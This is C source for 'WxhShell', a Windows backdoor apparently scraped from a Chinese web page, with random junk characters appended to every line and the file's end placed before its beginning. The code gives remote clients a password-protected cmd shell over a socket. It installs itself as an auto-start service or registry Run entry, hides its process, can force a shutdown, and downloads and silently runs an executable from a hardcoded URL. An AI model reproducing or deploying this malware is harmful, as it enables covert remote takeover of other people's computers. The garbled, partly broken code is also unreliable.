  // 关机 m%G:|`f7  
  case 'd': { *we*IhIP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YU24wTe;k  
    if(Boot(SHUTDOWN)) h(wu5G0C#u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ -n?q w  
    else { Wk&g!FR  
    closesocket(wsh); 9Fv VM9  
    ExitThread(0); lDm0O)Dh!  
    } SLMnEtyTS  
    break; Hwm] l`E]  
    } mtg3}etA  
  // 获取shell >YW_}kd  
  case 's': { `p)$7!  
    CmdShell(wsh); G^=C#9c.m  
    closesocket(wsh); q+/7v9  
    ExitThread(0); [qGj*`@C  
    break; 982n G-"  
  } MZInS:Vj  
  // 退出 Xeo2 < @[  
  case 'x': { aR}L- -m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A ^wIsAxT  
    CloseIt(wsh); c$[cDf~  
    break; & e~g}7  
    } mU3 @|a/@0  
  // 离开 ,8MUTXd@ V  
  case 'q': { c O[Hr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .gK>O2hI  
    closesocket(wsh); 1'{A,!  
    WSACleanup(); BVk&TGa;[$  
    exit(1); yG<`7v  
    break; n_X)6 s  
        } vuE 1(CR  
  } U4hFPK<  
  } %Vp'^,&S  
|Q)c{9sD  
  // 提示信息 pAd 8-a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xitsb f=Gg  
} M@b:~mI[sw  
  } gnPu{-Ec*  
_9Zwg+oO[  
  return; +vh 4I  
} :_y}8am;H~  
bW9a_myE  
// shell模块句柄 ySk'#\d  
int CmdShell(SOCKET sock) > R5<D'cEN  
{ :6r)HJ5sg  
STARTUPINFO si; jR CG}'  
ZeroMemory(&si,sizeof(si)); } JePEmj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (s2ke  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y={_o!9  
PROCESS_INFORMATION ProcessInfo; `"* ]C  
char cmdline[]="cmd"; ClvqI"Rd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )LP=IT  
  return 0; 93aRWEu3  
} `/0S]?a.{B  
3RyB 0 n  
// 自身启动模式  A/zZ%h  
int StartFromService(void) Rt^~db  
{ O!7v&$]1  
typedef struct /) Pf ]  
{ e0ea2 2  
  DWORD ExitStatus; Y "RjMyQh  
  DWORD PebBaseAddress; x&SG gl  
  DWORD AffinityMask; !leLOi2T  
  DWORD BasePriority; 'nO%1BZj+  
  ULONG UniqueProcessId; oju}0h'1  
  ULONG InheritedFromUniqueProcessId; RZ#~^5DiO  
}   PROCESS_BASIC_INFORMATION; QmpP_eS >  
a$r<%a6  
PROCNTQSIP NtQueryInformationProcess; L(bYG0ZI5C  
(` N@4w=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X pH]CF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j(|9>J*,~G  
/Dl{I7W   
  HANDLE             hProcess; _RHB ^y;-  
  PROCESS_BASIC_INFORMATION pbi; Xj^Hy"HC^~  
XDWR ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W".: 1ov#B  
  if(NULL == hInst ) return 0; [Pnk@jIk4  
_4]GP3`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l,pI~A`w_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X_6h8n}i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ LQ?s)~  
X?'v FC  
  if (!NtQueryInformationProcess) return 0; (rM-~h6g  
}?0At<(d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /kLG/ry8l:  
  if(!hProcess) return 0; PSM~10l,  
CSC sJE#4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *}hx9:9\B  
srbU}u3VZ  
  CloseHandle(hProcess); iIe\mV  
1+f>tv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +NH#t} .  
if(hProcess==NULL) return 0; tS2Orzc>,  
;ORT#7CU  
HMODULE hMod; q (?%$u.  
char procName[255]; iAOm[=W  
unsigned long cbNeeded; 9HjtWQn  
Z+qTMm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); + ~6Nq(kV  
1m52vQSo3l  
  CloseHandle(hProcess); 2,nVo^13}  
w*E0f?s  
if(strstr(procName,"services")) return 1; // 以服务启动 Q>,EYb>wI  
L1'#wH  
  return 0; // 注册表启动 ^+hqGu]M  
} U=<d;2N#  
X~`<ik{q  
// 主模块 *Z+8L*k97  
int StartWxhshell(LPSTR lpCmdLine) b xU13ESv  
{ PW[NW-S`c  
  SOCKET wsl; vU X(h.}8  
BOOL val=TRUE; \ nIz5J}3  
  int port=0; LZ97nvK  
  struct sockaddr_in door; wcdD i[E>i  
k|Hxd^^I  
  if(wscfg.ws_autoins) Install(); w _*|u  
-t<8)9q(  
port=atoi(lpCmdLine); O[tOpf@s.  
]Tb ?k+a  
if(port<=0) port=wscfg.ws_port; Vh.9/$xQ  
^X&n-ui   
  WSADATA data; rM sd)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [%8t~zg  
V8aLPJ0_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ((2 g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NaR/IsN8%  
  door.sin_family = AF_INET; 8op,;Z7Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ugZ-*e7  
  door.sin_port = htons(port); HW{si]~q  
D 2U")g}U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DH#n7s'b  
closesocket(wsl); $qoh0$  
return 1; Ux<2!vh  
} tAPr4n!  
(&=<UGY(w  
  if(listen(wsl,2) == INVALID_SOCKET) { _;;'/rs j  
closesocket(wsl); ?f\;z<e|  
return 1; Slk__eC  
}  KKfC^g  
  Wxhshell(wsl); E5#Dn.!~  
  WSACleanup(); %[x oA)0!  
d:U2b"k=/u  
return 0; YPjjSi:#  
C&&*6E5  
} "kE$2Kg  
3Ishe"  
// 以NT服务方式启动 +}XFkH~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ddf7wszW  
{ [a\U8 w  
DWORD   status = 0; .=j]PckJO  
  DWORD   specificError = 0xfffffff; y%y F34  
JAjXhk<=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bJ[{[|yEd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /~,|zz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J?yNZK$WqN  
  serviceStatus.dwWin32ExitCode     = 0; [<HU ~PP  
  serviceStatus.dwServiceSpecificExitCode = 0; nX@lR~g%F  
  serviceStatus.dwCheckPoint       = 0; KRY%B[k  
  serviceStatus.dwWaitHint       = 0; h83;}>  
Px!M^ T!Pi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D!K){ E  
  if (hServiceStatusHandle==0) return; ;3nR_6\  
q'07  
status = GetLastError(); dSD7(s!  
  if (status!=NO_ERROR) :YZqrcr}  
{ j^t#>tZS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F__(iXxC  
    serviceStatus.dwCheckPoint       = 0; z,6X{=  
    serviceStatus.dwWaitHint       = 0; x=UwyZ  
    serviceStatus.dwWin32ExitCode     = status; : MOr?"  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?0v(_ v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ez3>}E,  
    return; L(p{>Ykcc  
  } H`js1b1n  
 d"E@e21  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6;LM1 _  
  serviceStatus.dwCheckPoint       = 0; l3d^V&Sk  
  serviceStatus.dwWaitHint       = 0; `}b#O}z)^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5 A/[x $q  
} ,rvw E  
S%h[e[[fST  
// 处理NT服务事件,比如:启动、停止 !>~W5c^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Orb('Z,-3  
{ 2D5S%27,  
switch(fdwControl) 9WXJz;  
{ 5h"moh9tG  
case SERVICE_CONTROL_STOP: : ryE`EhB  
  serviceStatus.dwWin32ExitCode = 0; Im NTk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iIOA54!o  
  serviceStatus.dwCheckPoint   = 0; &"D *  
  serviceStatus.dwWaitHint     = 0; jTo-xP{lC  
  { {uurM` f}:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P1<Y7 +n  
  } (*.t~6c?5  
  return; l?F&I.{J  
case SERVICE_CONTROL_PAUSE: :UjF<V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PT9,R^2T!  
  break; :8}iZ.  
case SERVICE_CONTROL_CONTINUE: [fN?=,8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X[Lwx.Ly8  
  break;  mN>7vJ  
case SERVICE_CONTROL_INTERROGATE: eR'Df" +  
  break; nUAoPE  
}; uXs.7+f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %i7bkdcwk  
} J! ;g.q  
'6^20rj  
// 标准应用程序主函数 v6gfyGCJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D1&%N{  
{ P'.M.I@  
bB|UQaCl  
// 获取操作系统版本 c:  /Wk  
OsIsNt=GetOsVer(); `+IB;G1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6g/ <FM  
2>l =oXq  
  // 从命令行安装 LX%K*nlj  
  if(strpbrk(lpCmdLine,"iI")) Install(); J3oEN'8S  
ub C(%Y_k  
  // 下载执行文件 <,U=w[cH  
if(wscfg.ws_downexe) { 9y BENvq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6m#V=4e*  
  WinExec(wscfg.ws_filenam,SW_HIDE); fS08q9,S/  
} '8.r   
>900I4]I  
if(!OsIsNt) { I3;{II  
// 如果时win9x,隐藏进程并且设置为注册表启动 EXlmIY4  
HideProc(); vvJ{fi  
StartWxhshell(lpCmdLine); s "KPTV  
} %M=[h2SN  
else m5O;aj* i  
  if(StartFromService()) v/n4Lp$W^  
  // 以服务方式启动 -E6#G[JJ  
  StartServiceCtrlDispatcher(DispatchTable); (1~d/u?2\  
else SZO$#  
  // 普通方式启动 8MHYk>O~{G  
  StartWxhshell(lpCmdLine); H4s^&--  
=0te.io)3O  
return 0; 7Ao9MF-  
} s}MD;V&0  
1Sk=;Bic  
l(-We.:(  
C- Aiv@@<=  
=========================================== :]EAlaB4Q  
up[9L|  
z 6~cm6j  
.}.?b  
p2]@yE7w  
fj2pD Cic  
" /}G+PUk7  
^ olaq(z  
#include <stdio.h> a;=)`  
#include <string.h> AJk0jh\.j%  
#include <windows.h> ao4"=My*G  
#include <winsock2.h> dGxk ql  
#include <winsvc.h> )tH.P: 1~,  
#include <urlmon.h> J~=bW\^I  
l@ +lUx8  
#pragma comment (lib, "Ws2_32.lib") %4F Q~  
#pragma comment (lib, "urlmon.lib") 4CO"> :  
hu?Q,[+o  
#define MAX_USER   100 // 最大客户端连接数 z >EOQe  
#define BUF_SOCK   200 // sock buffer tDWW 4H  
#define KEY_BUFF   255 // 输入 buffer +D[|Mi  
~vqVASUc,  
#define REBOOT     0   // 重启 |Ai/q6u  
#define SHUTDOWN   1   // 关机 (0L7Ivg<  
gZa/?[+  
#define DEF_PORT   5000 // 监听端口 ]Gk;n/! B  
NSQ}:m  
#define REG_LEN     16   // 注册表键长度 \Wdl1 =`  
#define SVC_LEN     80   // NT服务名长度 |Z]KF>S]  
l;*/F`>c  
// 从dll定义API PI KQ}aq=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C,*3a`/2M^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "Di27Rq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !Tc jJ2T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M^q< qS>d  
Ttr)e:  
// wxhshell配置信息 @ |bN[XL  
struct WSCFG { 4( Q_J4}P  
  int ws_port;         // 监听端口 /z<7gd~oU  
  char ws_passstr[REG_LEN]; // 口令 ^$8@B]*  
  int ws_autoins;       // 安装标记, 1=yes 0=no j7(sYo@x7  
  char ws_regname[REG_LEN]; // 注册表键名  {{hp;&x  
  char ws_svcname[REG_LEN]; // 服务名 B,Pbm|U1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U GA_^?4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [i[*xf-B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4?+K:e #F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a`c#- je  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4LG[i}u.N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 26SXuFJ@  
$w,?%i97  
}; CSKOtqKQ)  
C`G+b{o  
// default Wxhshell configuration L]wWJL  
struct WSCFG wscfg={DEF_PORT, W''%{A/'  
    "xuhuanlingzhe", ~ m/nV81  
    1, Xk9mJ]31LC  
    "Wxhshell", A -C.Bi;/  
    "Wxhshell", wM$N#K@  
            "WxhShell Service", `ChS$p"A  
    "Wrsky Windows CmdShell Service", mf~Joluc J  
    "Please Input Your Password: ", a ~s:f5S>  
  1, _&(\>{pm  
  "http://www.wrsky.com/wxhshell.exe", xwuGJ   
  "Wxhshell.exe" [ B{F(~O  
    }; v|!u]!JM  
6MCLm.L  
// 消息定义模块 /{)}y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0bG[pp$[  
char *msg_ws_prompt="\n\r? for help\n\r#>";  Dno]N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \ a#{Y/j3  
char *msg_ws_ext="\n\rExit."; Cz1Q@<)  
char *msg_ws_end="\n\rQuit."; / @v V^!#1  
char *msg_ws_boot="\n\rReboot..."; 4>x$I9^Y!  
char *msg_ws_poff="\n\rShutdown..."; /"(`oe<  
char *msg_ws_down="\n\rSave to "; 1X8P v*,  
ZmLA4<  
char *msg_ws_err="\n\rErr!"; pZE}<EX  
char *msg_ws_ok="\n\rOK!"; QN4{xf:}S  
[b2KBww\  
char ExeFile[MAX_PATH]; .uh>S!X, ]  
int nUser = 0; ]%%I=r  
HANDLE handles[MAX_USER]; Z\YCjs%  
int OsIsNt; 7 XNZEi9o  
Ow#a|@  
SERVICE_STATUS       serviceStatus; ]_"c_QG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kw%to9 eh)  
(:(Im k;9  
// 函数声明 _i3?;Fds  
int Install(void); M]Kx g;  
int Uninstall(void); :P2{^0$  
int DownloadFile(char *sURL, SOCKET wsh); :VkuK@Th`  
int Boot(int flag); c -sc*.&  
void HideProc(void); 8+* 1s7{  
int GetOsVer(void); v}cTS@0  
int Wxhshell(SOCKET wsl); ?\Bm>p% +  
void TalkWithClient(void *cs); p*NKM} ]I  
int CmdShell(SOCKET sock); ?[Sac]h ys  
int StartFromService(void); Cs!z3QU  
int StartWxhshell(LPSTR lpCmdLine); 7 @W}>gnf  
`4SwdW n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D'8xP %P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MyZ5~jnr\  
<r>1W~bp.q  
// 数据结构和表定义 \CU-a`n  
SERVICE_TABLE_ENTRY DispatchTable[] = rSgOQ  
{ N*1{yl76x  
{wscfg.ws_svcname, NTServiceMain}, T1-.+&<  
{NULL, NULL} whW% c8  
}; ts:YJAu+F  
l cX'n8/3  
// 自我安装 Qi=pP/Y  
int Install(void) !g.?+~@  
{ Q4Zw<IZv5  
  char svExeFile[MAX_PATH]; H2jF=U"=  
  HKEY key;  * Cj<Vy  
  strcpy(svExeFile,ExeFile); g1H$wU3eu  
LJgGX,Kp  
// 如果是win9x系统,修改注册表设为自启动 v:IpZ;^  
if(!OsIsNt) { iW?z2%#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <"hq}B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )KdEl9o  
  RegCloseKey(key); al{}_1XoU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?3_^SRW&a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RM3"8J  
  RegCloseKey(key); uFUVcWt  
  return 0; a5k![sw\  
    } 6M#}&Gv  
  } l!*!)qCB(S  
}  &*Z"r*  
else { 9Ro7xSeD  
9 df GV!Z  
// 如果是NT以上系统,安装为系统服务 Q,LDn%+;B*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;u?L>(b  
if (schSCManager!=0) A4tb>O M  
{ (|2:^T+  
  SC_HANDLE schService = CreateService oWLv-{08  
  ( ^Q#g-"b  
  schSCManager, MqAN~<l [  
  wscfg.ws_svcname, 'PvOOhm,  
  wscfg.ws_svcdisp, Mp3nR5@d$  
  SERVICE_ALL_ACCESS, K'c[r0Ew  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wx`$hvdq  
  SERVICE_AUTO_START, grxlGS~Q  
  SERVICE_ERROR_NORMAL, D &Bdl5g  
  svExeFile, zHX7%x,Cq  
  NULL, h]vu BHJ}  
  NULL, "oT&KW   
  NULL, mVd%sWD  
  NULL, K2qKkV@  
  NULL P,s>xM  
  ); M nnVk=  
  if (schService!=0) S*NeS#!v  
  { szs.B|3X@*  
  CloseServiceHandle(schService); {O!B8a    
  CloseServiceHandle(schSCManager); 4*&2D-8<K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tg@:mw5  
  strcat(svExeFile,wscfg.ws_svcname); 7Tc^}Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cz41<SFL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MMy\u) 4  
  RegCloseKey(key); -KL5sK  
  return 0; -PCF Om"  
    } #G]g  
  } Oj>;[O"  
  CloseServiceHandle(schSCManager); 2dCD.9s9~  
} EX/{W$ &K  
} f;%=S:3  
3z0 %uY[e  
return 1; nC}Y+_wo0  
} $}JWJ\-]  
>x*ef]aS  
// 自我卸载 f+%s.[;A  
int Uninstall(void) Ys>Z=Eky  
{ w\1K.j=>|N  
  HKEY key; lNo]]a+_  
x"P@[T  
if(!OsIsNt) { qK)T#sh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^4C djMF-E  
  RegDeleteValue(key,wscfg.ws_regname); f2 ?01PM,Q  
  RegCloseKey(key); he|.Ow  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }2''}-Nc  
  RegDeleteValue(key,wscfg.ws_regname); 0V+v)\4FE  
  RegCloseKey(key); !8*7{7  
  return 0; r-AD*h@QZ  
  } y[';@t7CC  
} .|i/ a%J  
} e3k58  
else { O$7r)B6Cs  
r<[G~n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hf:\^w  
if (schSCManager!=0) T*%O\&'r  
{ Z=be ki]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =J`M}BBx  
  if (schService!=0) `h~-  
  { *{(tg~2'(  
  if(DeleteService(schService)!=0) { 1Q7]1fRu  
  CloseServiceHandle(schService); 0*,] `A=  
  CloseServiceHandle(schSCManager); $"g'C8  
  return 0; m[nrr6 G"  
  } o|APsQE  
  CloseServiceHandle(schService); ;)Sf|  
  } #s{EIj~YR_  
  CloseServiceHandle(schSCManager); K(AZD&D  
} Z3f}'vr  
} dN@C)5pm5`  
K?Jo"oy7  
return 1; `(xzCRX  
} ]VaMulb4  
)T@?.J`  
// 从指定url下载文件 j/F:j5O*  
int DownloadFile(char *sURL, SOCKET wsh) sn8l3h)  
{ GC[Ot~*_  
  HRESULT hr; SM4'3d&mf  
char seps[]= "/"; fW$1f5g"  
char *token; K.Y.K$NjP{  
char *file; C,B{7s0-  
char myURL[MAX_PATH]; mM'uRhO+  
char myFILE[MAX_PATH]; mZ g'  
C6qGCzlG`  
strcpy(myURL,sURL); A+Kp ECP  
  token=strtok(myURL,seps); -ZoAbp$  
  while(token!=NULL) =vsvx{o?  
  { a>&dAo}  
    file=token; Zd]ua_)I%[  
  token=strtok(NULL,seps); M63t4; 0A  
  } )O8w'4P5  
NbK67p:  
GetCurrentDirectory(MAX_PATH,myFILE); I:M15  
strcat(myFILE, "\\"); ^sF(IV[>  
strcat(myFILE, file); p: u@? k  
  send(wsh,myFILE,strlen(myFILE),0); $XcuU sG  
send(wsh,"...",3,0); }" STc&1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qx8O&C?Ti  
  if(hr==S_OK) }[y_Fr0  
return 0; l)f 2T@bHl  
else bZ}T;!U?I  
return 1; w3M F62:  
}Vfc;2  
} +&.39q !  
2L S91  
// 系统电源模块 G[]h1f!  
int Boot(int flag) v)~!HCG  
{ 2BO"mc<#$  
  HANDLE hToken; 7 b{y  
  TOKEN_PRIVILEGES tkp; 1aezlDc*  
\CBL[X5tr  
  if(OsIsNt) { S<g~VK!Tt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t\O#5mo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g6@^n$Y  
    tkp.PrivilegeCount = 1; *t`=1Ioj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k/i&e~! \  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xu@+b~C\  
if(flag==REBOOT) { vBV_aB1{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ah;`0Hz;  
  return 0; @DKph!c r  
} x??H%'rP  
else { ~BgNM O;|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PJAM_K;  
  return 0; K/$5SN1  
} {Hz;*1?$k  
  } T3t w.yh  
  else { >:0^v'[  
if(flag==REBOOT) { =WK's8FB;8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "Mh}n-oju  
  return 0; 9 u>X,2gUR  
} oN,9#*PVL  
else { !T.yv5ge'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zANsv9R~  
  return 0; tcD5"ALJ  
} e!w#{</8Q  
} i<!1s%i}  
T/tCX[}  
return 1; R#Z m[S  
} G4%dah 5  
}x:}9iphF  
// win9x进程隐藏模块 J!H)[~2/  
void HideProc(void) Q 822 #  
{ W{t- UK   
TlC? ?#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5:T}C@  
  if ( hKernel != NULL ) GK{~n  
  { foe)_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `~1#X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *LQt=~  
    FreeLibrary(hKernel); kQ|phtbI  
  } "sed{?  
X\5EF7:S  
return; !(sL  
} _8wT4|z5  
.K+5k`kd  
// 获取操作系统版本 *rC%nmJwk!  
int GetOsVer(void) rfOrh^  
{ yJ!,>OQ%'  
  OSVERSIONINFO winfo; <o@__l.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {<Xl57w-Q  
  GetVersionEx(&winfo); ZFtN~Tg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h_B  nQZ\  
  return 1; Efu/v<  
  else |9mGX9q  
  return 0; C^!~WFy  
} ;W3c|5CE  
6\x/Z=}L  
// 客户端句柄模块 oP:/%  
int Wxhshell(SOCKET wsl) alyA#zao|  
{ &&Otj-n5  
  SOCKET wsh; ki8Jl}dr  
  struct sockaddr_in client; /p)y!5e  
  DWORD myID; 9w-;d=(Q  
MX7$f (Hy  
  while(nUser<MAX_USER) VVc-Dx  
{ ,PX7}//X^  
  int nSize=sizeof(client); d V3R)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T5aeO^x  
  if(wsh==INVALID_SOCKET) return 1; "MDy0Tj8EN  
~'LoIv20j)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hm_&``='  
if(handles[nUser]==0) =j8g6#'u  
  closesocket(wsh); uy([>8uu  
else p%5(Qqmlk  
  nUser++; .19_EQ>+  
  } rrl{3 ?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WB"90!  
hmv*IF.  
  return 0; D\  P-|}  
}  sM9NHwg  
GX N:=  
// 关闭 socket $~r=I[5'(  
void CloseIt(SOCKET wsh) XW*d\vDun  
{ l'?(4 N  
closesocket(wsh); , 1il&  
nUser--; ) Hqn  
ExitThread(0); 1+Bj` ACP  
} YGZa##i  
!uhh_3RH  
// 客户端请求句柄 +`TwBN,kp-  
void TalkWithClient(void *cs) p9eTrFDy?  
{ nu6v@<<F>  
[-1Yyy1}  
  SOCKET wsh=(SOCKET)cs; ]F4|@+\9  
  char pwd[SVC_LEN]; Jg@eGs\*  
  char cmd[KEY_BUFF]; ORt)sn&~d  
char chr[1]; U-#vssJhk  
int i,j; ]u%Y8kBe  
F ZfhiIf  
  while (nUser < MAX_USER) { ^Fwdi#g  
8%;]]{(B  
if(wscfg.ws_passstr) { D`PA@t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LP} j0)n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VB~Do?]*k%  
  //ZeroMemory(pwd,KEY_BUFF); 3MoVIf1  
      i=0; ?aU-Y_pMe  
  while(i<SVC_LEN) { E>kgEfzxP  
UL3u2g;d  
  // 设置超时 e_llW(*l8^  
  fd_set FdRead; xUIH,Fp-9  
  struct timeval TimeOut; $3(E0\#O  
  FD_ZERO(&FdRead); y9 K'(/  
  FD_SET(wsh,&FdRead); "SV/'0  
  TimeOut.tv_sec=8; .;37 e  
  TimeOut.tv_usec=0; 3_Mynop  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); La si)e=$<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J_&G\b.9/  
?DC;Hk<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &FDWlrG g  
  pwd=chr[0]; =2d h}8Mz  
  if(chr[0]==0xd || chr[0]==0xa) { }1YQ?:@  
  pwd=0; 'l._00yu  
  break; ?YnB:z*eV  
  } xOc&n0}%  
  i++; N)X51;+  
    } ,>3|\4/Q  
4M>EQF&  
  // 如果是非法用户,关闭 socket Y^'mBM#j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XI5q>cd\Sz  
} m"~),QwF9  
ptTp63+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BtKbX)R$J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ml+O - 3T  
Ce_l\J8G  
while(1) { 3$ BYfI3H  
j8ag}%  
  ZeroMemory(cmd,KEY_BUFF); }z_7?dn/  
KOD%>+vG$  
      // 自动支持客户端 telnet标准   Wq*W+7=.  
  j=0; #mc6;TRZO  
  while(j<KEY_BUFF) { qZX\riR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vFsl]|<;8  
  cmd[j]=chr[0]; j.UO>1{7  
  if(chr[0]==0xa || chr[0]==0xd) { ./}W3  
  cmd[j]=0; _Zbgmasb  
  break; ]]|vQA^  
  } ASaNac-3  
  j++; tN&X1  
    } ;h7O_|<%  
<*DP G\6Ma  
  // 下载文件 !{ /AJb  
  if(strstr(cmd,"http://")) { G4)X~.Fy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \yY2 mr  
